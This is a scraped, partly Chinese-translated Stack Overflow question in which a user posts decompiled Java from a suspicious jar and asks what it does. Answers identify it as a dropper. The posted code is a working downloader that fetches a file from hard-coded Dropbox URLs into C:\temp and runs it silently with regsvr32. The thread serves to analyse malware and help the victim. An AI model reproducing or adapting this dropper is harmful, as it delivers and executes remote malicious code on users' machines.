【问题标题】:Please some one explain me the output of this JAVA code DO NOT RUN THIS CODE IT WILL STEAL PASSWORDS [closed]请有人解释一下这个JAVA代码的输出不要运行这个代码它会窃取密码[关闭]
【发布时间】:2014-06-24 11:39:11
【问题描述】:

这是我刚刚得到的一个jar可执行文件。它看起来像某种病毒。窃取密码。我想。但我不知道它实际上做了什么。我通过软件对其进行解码并获得了代码。 那么有人可以看看这段代码(不要运行它)并解释一下这段代码中实际做了什么吗?

public static void Run() throws IOException
{
    int i = 3;
    while (i < 9)
    {
        Runtime.getRuntime().exec("regsvr32 /s C:\\temp\\YQJHBJX.PWY");
        i++;
    }
}

public static void main(String[] args) throws Exception
{
    new File("C:\\temp\\").mkdir();
    File localFile = new File("C:\\temp\\YQJHBJX.PWY");
    if (localFile.exists())
    {
        Run();
    }
    else
    {
        String[] arrayOfString1 = "f6pb6ya5e5vc0q5/d.dat?dl=1@@@21urb4zg9n2on4s/d.dat?dl=1".split("@@@");
        for (String str1 : arrayOfString1)
        {
            URL localURL = new URL("https://dl.dropboxusercontent.com/s/" + str1);
            HttpURLConnection localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
            localHttpURLConnection.connect();
            if (localHttpURLConnection.getResponseCode() / 100 == 2)
            {
                String str2 = "https://dl.dropboxusercontent.com/s/"+ str1;
                String str3 = "C:\\temp\\YQJHBJX.PWY";
                goToWeb(str2, str3);
                break;
            }
        }
    }
}

public static void goToWeb(String paramString1, String paramString2) throws IOException
{
    System.out.println(paramString1);
    System.out.println(paramString2);

    InputStream localInputStream = URI.create(paramString1).toURL().openStream();
    Files.copy(localInputStream, Paths.get(paramString2, new String[0]), new CopyOption[0]);

    Run();
}

【问题讨论】:

  • 是的,这看起来确实像恶意软件。摆脱它。给你的机器一个很好的清洁。如果您需要这方面的帮助,Super User 会是一个更好的网站 - 首先在那里进行一些研究,以便对您的计算机进行急救。

标签: java file url path connection


【解决方案1】:

它正在从 Dropbox 下载最有可能的恶意文件并将其注册为 DLL。漏洞利用在该文件中:“C:\temp\YQJHBJX.PWY”使用 regsvr32 /u 取消注册它,如果存在则将其删除。

【讨论】:

  • 我按照你说的做了。我刚刚输入了这个并运行了 regsvr32 /u C:\\temp\\YQJHBJX.PWY 但是这个错误出现了“模块 C:\\temp\\YQJHBJX.PWY 已加载但没有找到入口点 DllUnregisterServer 确保C:\\temp\\YQJHBJX.PWY 是一个有效的 Dll 或 OCX 文件,然后重试”这是什么意思?
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2021-02-27
  • 1970-01-01
  • 2015-10-28
  • 2014-05-18
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多